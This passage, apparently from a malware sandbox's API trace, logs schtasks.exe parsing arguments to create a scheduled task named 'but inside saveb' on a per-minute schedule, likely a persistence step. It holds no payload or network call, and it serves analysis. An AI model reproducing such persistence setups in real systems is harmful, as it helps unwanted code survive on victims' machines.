(_Buf1=0x2fba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.202] lstrlenW (lpString="schtasks") returned 8 [0158.202] GetProcessHeap () returned 0x2e0000 [0158.202] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5d80 [0158.203] GetProcessHeap () returned 0x2e0000 [0158.203] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2fcaf0 [0158.203] GetProcessHeap () returned 0x2e0000 [0158.203] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2fcb20 [0158.203] GetProcessHeap () returned 0x2e0000 [0158.203] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2fcb50 [0158.203] GetProcessHeap () returned 0x2e0000 [0158.203] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x18) returned 0x2fbab0 [0158.203] _memicmp (_Buf1=0x2fbab0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.203] GetProcessHeap () returned 0x2e0000 [0158.203] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xa0) returned 0x2fc030 [0158.203] GetProcessHeap () returned 0x2e0000 [0158.203] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2fcb80 [0158.203] GetProcessHeap () returned 0x2e0000 [0158.203] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2fcbb0 [0158.203] GetProcessHeap () returned 0x2e0000 [0158.203] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2fcbe0 [0158.203] GetProcessHeap () returned 0x2e0000 [0158.203] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x18) returned 0x2fbad0 [0158.203] _memicmp (_Buf1=0x2fbad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.203] GetProcessHeap () returned 0x2e0000 [0158.203] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x200) returned 0x2fd2c0 [0158.203] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2fd2c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0158.204] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0158.204] GetProcessHeap () returned 0x2e0000 [0158.204] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x30) returned 0x2f7a80 [0158.204] _vsnwprintf (in: _Buffer=0x2fc030, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1df668 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0158.204] GetProcessHeap () returned 0x2e0000 [0158.204] GetProcessHeap () returned 0x2e0000 [0158.204] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc1e0) returned 1 [0158.204] GetProcessHeap () returned 0x2e0000 [0158.204] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fc1e0) returned 0x74e [0158.205] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc1e0 | out: hHeap=0x2e0000) returned 1 [0158.205] SetLastError (dwErrCode=0x0) [0158.205] GetThreadLocale () returned 0x409 [0158.205] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.205] lstrlenW (lpString="?") returned 1 [0158.205] GetThreadLocale () returned 0x409 [0158.205] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.205] lstrlenW (lpString="create") returned 6 [0158.205] GetThreadLocale () returned 0x409 [0158.205] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.205] lstrlenW (lpString="delete") returned 6 [0158.206] GetThreadLocale () returned 0x409 [0158.206] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.206] lstrlenW (lpString="query") returned 5 [0158.206] GetThreadLocale () returned 0x409 [0158.206] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.206] lstrlenW (lpString="change") returned 6 [0158.206] GetThreadLocale () returned 0x409 [0158.206] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.206] lstrlenW (lpString="run") returned 3 [0158.206] GetThreadLocale () returned 0x409 [0158.206] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.206] lstrlenW (lpString="end") returned 3 [0158.206] GetThreadLocale () returned 0x409 [0158.206] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.206] lstrlenW (lpString="showsid") returned 7 [0158.206] GetThreadLocale () returned 0x409 [0158.206] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.206] SetLastError (dwErrCode=0x0) [0158.206] SetLastError (dwErrCode=0x0) [0158.206] lstrlenW (lpString="/create") returned 7 [0158.206] lstrlenW (lpString="-/") returned 2 [0158.206] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0158.206] lstrlenW (lpString="?") returned 1 [0158.206] lstrlenW (lpString="?") returned 1 [0158.206] GetProcessHeap () returned 0x2e0000 [0158.206] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x18) returned 0x2fc1e0 [0158.206] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.207] GetProcessHeap () returned 0x2e0000 [0158.207] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xa) returned 0x2fc200 [0158.207] lstrlenW (lpString="create") returned 6 [0158.207] GetProcessHeap () returned 0x2e0000 [0158.207] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x18) returned 0x2fc220 [0158.207] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.207] GetProcessHeap () returned 0x2e0000 [0158.207] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x14) returned 0x2fc240 [0158.207] _vsnwprintf (in: _Buffer=0x2fc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|?|") returned 3 [0158.207] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|create|") returned 8 [0158.207] lstrlenW (lpString="|?|") returned 3 [0158.207] lstrlenW (lpString="|create|") returned 8 [0158.207] SetLastError (dwErrCode=0x490) [0158.207] lstrlenW (lpString="create") returned 6 [0158.207] lstrlenW (lpString="create") returned 6 [0158.207] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.207] GetProcessHeap () returned 0x2e0000 [0158.207] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc200) returned 1 [0158.207] GetProcessHeap () returned 0x2e0000 [0158.207] RtlReAllocateHeap (Heap=0x2e0000, Flags=0xc, Ptr=0x2fc200, Size=0x14) returned 0x2fc260 [0158.207] lstrlenW (lpString="create") returned 6 [0158.207] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.208] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|create|") returned 8 [0158.208] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|create|") returned 8 [0158.208] lstrlenW (lpString="|create|") returned 8 [0158.208] lstrlenW (lpString="|create|") returned 8 [0158.208] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0158.208] SetLastError (dwErrCode=0x0) [0158.208] SetLastError (dwErrCode=0x0) [0158.208] SetLastError (dwErrCode=0x0) [0158.208] lstrlenW (lpString="/tn") returned 3 [0158.208] lstrlenW (lpString="-/") returned 2 [0158.208] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0158.208] lstrlenW (lpString="?") returned 1 [0158.208] lstrlenW (lpString="?") returned 1 [0158.208] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.208] lstrlenW (lpString="tn") returned 2 [0158.208] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.208] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|?|") returned 3 [0158.208] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|tn|") returned 4 [0158.208] lstrlenW (lpString="|?|") returned 3 [0158.208] lstrlenW (lpString="|tn|") returned 4 [0158.208] SetLastError (dwErrCode=0x490) [0158.208] lstrlenW (lpString="create") returned 6 [0158.208] lstrlenW (lpString="create") returned 6 [0158.208] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.209] lstrlenW (lpString="tn") returned 2 [0158.209] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.209] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|create|") returned 8 [0158.209] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|tn|") returned 4 [0158.209] lstrlenW (lpString="|create|") returned 8 [0158.209] lstrlenW (lpString="|tn|") returned 4 [0158.209] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0158.209] SetLastError (dwErrCode=0x490) [0158.209] lstrlenW (lpString="delete") returned 6 [0158.209] lstrlenW (lpString="delete") returned 6 [0158.209] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.209] lstrlenW (lpString="tn") returned 2 [0158.209] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.209] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|delete|") returned 8 [0158.209] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|tn|") returned 4 [0158.209] lstrlenW (lpString="|delete|") returned 8 [0158.209] lstrlenW (lpString="|tn|") returned 4 [0158.209] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0158.209] SetLastError (dwErrCode=0x490) [0158.209] lstrlenW (lpString="query") returned 5 [0158.209] lstrlenW (lpString="query") returned 5 [0158.209] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.209] lstrlenW (lpString="tn") returned 2 [0158.210] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.210] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|query|") returned 7 [0158.210] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|tn|") returned 4 [0158.210] lstrlenW (lpString="|query|") returned 7 [0158.210] lstrlenW (lpString="|tn|") returned 4 [0158.210] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0158.210] SetLastError (dwErrCode=0x490) [0158.210] lstrlenW (lpString="change") returned 6 [0158.210] lstrlenW (lpString="change") returned 6 [0158.210] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.210] lstrlenW (lpString="tn") returned 2 [0158.210] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.210] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|change|") returned 8 [0158.210] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|tn|") returned 4 [0158.210] lstrlenW (lpString="|change|") returned 8 [0158.210] lstrlenW (lpString="|tn|") returned 4 [0158.210] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0158.210] SetLastError (dwErrCode=0x490) [0158.210] lstrlenW (lpString="run") returned 3 [0158.210] lstrlenW (lpString="run") returned 3 [0158.210] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.210] lstrlenW (lpString="tn") returned 2 [0158.210] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.210] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|run|") returned 5 [0158.211] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|tn|") returned 4 [0158.211] lstrlenW (lpString="|run|") returned 5 [0158.211] lstrlenW (lpString="|tn|") returned 4 [0158.211] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0158.211] SetLastError (dwErrCode=0x490) [0158.211] lstrlenW (lpString="end") returned 3 [0158.211] lstrlenW (lpString="end") returned 3 [0158.211] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.211] lstrlenW (lpString="tn") returned 2 [0158.211] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.211] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|end|") returned 5 [0158.211] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|tn|") returned 4 [0158.211] lstrlenW (lpString="|end|") returned 5 [0158.211] lstrlenW (lpString="|tn|") returned 4 [0158.211] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0158.211] SetLastError (dwErrCode=0x490) [0158.211] lstrlenW (lpString="showsid") returned 7 [0158.211] lstrlenW (lpString="showsid") returned 7 [0158.211] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.211] GetProcessHeap () returned 0x2e0000 [0158.211] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc260) returned 1 [0158.211] GetProcessHeap () returned 0x2e0000 [0158.211] RtlReAllocateHeap (Heap=0x2e0000, Flags=0xc, Ptr=0x2fc260, Size=0x16) returned 0x2fc260 [0158.211] lstrlenW (lpString="tn") returned 2 [0158.211] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.212] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|showsid|") returned 9 [0158.212] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|tn|") returned 4 [0158.212] lstrlenW (lpString="|showsid|") returned 9 [0158.212] lstrlenW (lpString="|tn|") returned 4 [0158.212] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0158.212] SetLastError (dwErrCode=0x490) [0158.212] SetLastError (dwErrCode=0x490) [0158.212] SetLastError (dwErrCode=0x0) [0158.212] lstrlenW (lpString="/tn") returned 3 [0158.212] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0158.212] SetLastError (dwErrCode=0x490) [0158.212] SetLastError (dwErrCode=0x0) [0158.212] lstrlenW (lpString="/tn") returned 3 [0158.212] GetProcessHeap () returned 0x2e0000 [0158.212] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x8) returned 0x2fc200 [0158.212] GetProcessHeap () returned 0x2e0000 [0158.212] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2fcc10 [0158.212] SetLastError (dwErrCode=0x0) [0158.212] SetLastError (dwErrCode=0x0) [0158.212] lstrlenW (lpString="but inside saveb") returned 16 [0158.212] lstrlenW (lpString="-/") returned 2 [0158.212] StrChrIW (lpStart="-/", wMatch=0x62) returned 0x0 [0158.212] SetLastError (dwErrCode=0x490) [0158.212] SetLastError (dwErrCode=0x490) [0158.212] SetLastError (dwErrCode=0x0) [0158.212] lstrlenW (lpString="but inside saveb") returned 16 [0158.212] StrChrIW (lpStart="but inside saveb", wMatch=0x3a) returned 0x0 [0158.212] SetLastError (dwErrCode=0x490) [0158.212] SetLastError (dwErrCode=0x0) [0158.213] lstrlenW (lpString="but inside saveb") returned 16 [0158.213] GetProcessHeap () returned 0x2e0000 [0158.213] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x22) returned 0x2fcc40 [0158.213] GetProcessHeap () returned 0x2e0000 [0158.213] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2fcc70 [0158.213] SetLastError (dwErrCode=0x0) [0158.213] SetLastError (dwErrCode=0x0) [0158.213] lstrlenW (lpString="/sc") returned 3 [0158.213] lstrlenW (lpString="-/") returned 2 [0158.213] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0158.213] lstrlenW (lpString="?") returned 1 [0158.213] lstrlenW (lpString="?") returned 1 [0158.213] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.213] lstrlenW (lpString="sc") returned 2 [0158.213] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.213] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|?|") returned 3 [0158.213] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|sc|") returned 4 [0158.213] lstrlenW (lpString="|?|") returned 3 [0158.213] lstrlenW (lpString="|sc|") returned 4 [0158.213] SetLastError (dwErrCode=0x490) [0158.213] lstrlenW (lpString="create") returned 6 [0158.213] lstrlenW (lpString="create") returned 6 [0158.213] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.213] lstrlenW (lpString="sc") returned 2 [0158.213] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.213] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|create|") returned 8 [0158.213] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|sc|") returned 4 [0158.214] lstrlenW (lpString="|create|") returned 8 [0158.214] lstrlenW (lpString="|sc|") returned 4 [0158.214] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0158.214] SetLastError (dwErrCode=0x490) [0158.214] lstrlenW (lpString="delete") returned 6 [0158.214] lstrlenW (lpString="delete") returned 6 [0158.214] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.214] lstrlenW (lpString="sc") returned 2 [0158.214] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.214] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|delete|") returned 8 [0158.214] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|sc|") returned 4 [0158.214] lstrlenW (lpString="|delete|") returned 8 [0158.214] lstrlenW (lpString="|sc|") returned 4 [0158.214] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0158.214] SetLastError (dwErrCode=0x490) [0158.214] lstrlenW (lpString="query") returned 5 [0158.214] lstrlenW (lpString="query") returned 5 [0158.214] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.214] lstrlenW (lpString="sc") returned 2 [0158.214] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.214] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|query|") returned 7 [0158.214] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|sc|") returned 4 [0158.214] lstrlenW (lpString="|query|") returned 7 [0158.214] lstrlenW (lpString="|sc|") returned 4 [0158.215] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0158.215] SetLastError (dwErrCode=0x490) [0158.215] lstrlenW (lpString="change") returned 6 [0158.215] lstrlenW (lpString="change") returned 6 [0158.215] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.215] lstrlenW (lpString="sc") returned 2 [0158.215] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.215] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|change|") returned 8 [0158.215] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|sc|") returned 4 [0158.215] lstrlenW (lpString="|change|") returned 8 [0158.215] lstrlenW (lpString="|sc|") returned 4 [0158.215] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0158.215] SetLastError (dwErrCode=0x490) [0158.215] lstrlenW (lpString="run") returned 3 [0158.215] lstrlenW (lpString="run") returned 3 [0158.215] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.215] lstrlenW (lpString="sc") returned 2 [0158.215] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.215] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|run|") returned 5 [0158.215] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|sc|") returned 4 [0158.215] lstrlenW (lpString="|run|") returned 5 [0158.215] lstrlenW (lpString="|sc|") returned 4 [0158.215] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0158.216] SetLastError (dwErrCode=0x490) [0158.216] lstrlenW (lpString="end") returned 3 [0158.216] lstrlenW (lpString="end") returned 3 [0158.216] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.216] lstrlenW (lpString="sc") returned 2 [0158.216] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.216] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|end|") returned 5 [0158.216] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|sc|") returned 4 [0158.216] lstrlenW (lpString="|end|") returned 5 [0158.216] lstrlenW (lpString="|sc|") returned 4 [0158.216] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0158.216] SetLastError (dwErrCode=0x490) [0158.216] lstrlenW (lpString="showsid") returned 7 [0158.216] lstrlenW (lpString="showsid") returned 7 [0158.216] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.216] lstrlenW (lpString="sc") returned 2 [0158.216] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.216] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|showsid|") returned 9 [0158.216] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|sc|") returned 4 [0158.216] lstrlenW (lpString="|showsid|") returned 9 [0158.216] lstrlenW (lpString="|sc|") returned 4 [0158.216] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0158.216] SetLastError (dwErrCode=0x490) [0158.217] SetLastError (dwErrCode=0x490) [0158.217] SetLastError (dwErrCode=0x0) [0158.217] lstrlenW (lpString="/sc") returned 3 [0158.217] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0158.217] SetLastError (dwErrCode=0x490) [0158.217] SetLastError (dwErrCode=0x0) [0158.217] lstrlenW (lpString="/sc") returned 3 [0158.217] GetProcessHeap () returned 0x2e0000 [0158.217] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x8) returned 0x2fc290 [0158.217] GetProcessHeap () returned 0x2e0000 [0158.217] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2fcca0 [0158.217] SetLastError (dwErrCode=0x0) [0158.217] SetLastError (dwErrCode=0x0) [0158.217] lstrlenW (lpString="MINUTE") returned 6 [0158.217] lstrlenW (lpString="-/") returned 2 [0158.217] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0158.217] SetLastError (dwErrCode=0x490) [0158.217] SetLastError (dwErrCode=0x490) [0158.217] SetLastError (dwErrCode=0x0) [0158.217] lstrlenW (lpString="MINUTE") returned 6 [0158.217] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0158.217] SetLastError (dwErrCode=0x490) [0158.217] SetLastError (dwErrCode=0x0) [0158.217] lstrlenW (lpString="MINUTE") returned 6 [0158.217] GetProcessHeap () returned 0x2e0000 [0158.217] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xe) returned 0x2fc2b0 [0158.217] GetProcessHeap () returned 0x2e0000 [0158.217] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2fccd0 [0158.217] SetLastError (dwErrCode=0x0) [0158.218] SetLastError (dwErrCode=0x0) [0158.218] lstrlenW (lpString="/mo") returned 3 [0158.218] lstrlenW (lpString="-/") returned 2 [0158.218] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0158.218] lstrlenW (lpString="?") returned 1 [0158.218] lstrlenW (lpString="?") returned 1 [0158.218] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.218] lstrlenW (lpString="mo") returned 2 [0158.218] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.218] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|?|") returned 3 [0158.218] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|mo|") returned 4 [0158.218] lstrlenW (lpString="|?|") returned 3 [0158.218] lstrlenW (lpString="|mo|") returned 4 [0158.218] SetLastError (dwErrCode=0x490) [0158.218] lstrlenW (lpString="create") returned 6 [0158.218] lstrlenW (lpString="create") returned 6 [0158.218] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.218] lstrlenW (lpString="mo") returned 2 [0158.218] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.218] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|create|") returned 8 [0158.218] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|mo|") returned 4 [0158.218] lstrlenW (lpString="|create|") returned 8 [0158.218] lstrlenW (lpString="|mo|") returned 4 [0158.218] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0158.218] SetLastError (dwErrCode=0x490) [0158.219] lstrlenW (lpString="delete") returned 6 [0158.219] lstrlenW (lpString="delete") returned 6 [0158.219] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.219] lstrlenW (lpString="mo") returned 2 [0158.219] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.219] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df678 | out: 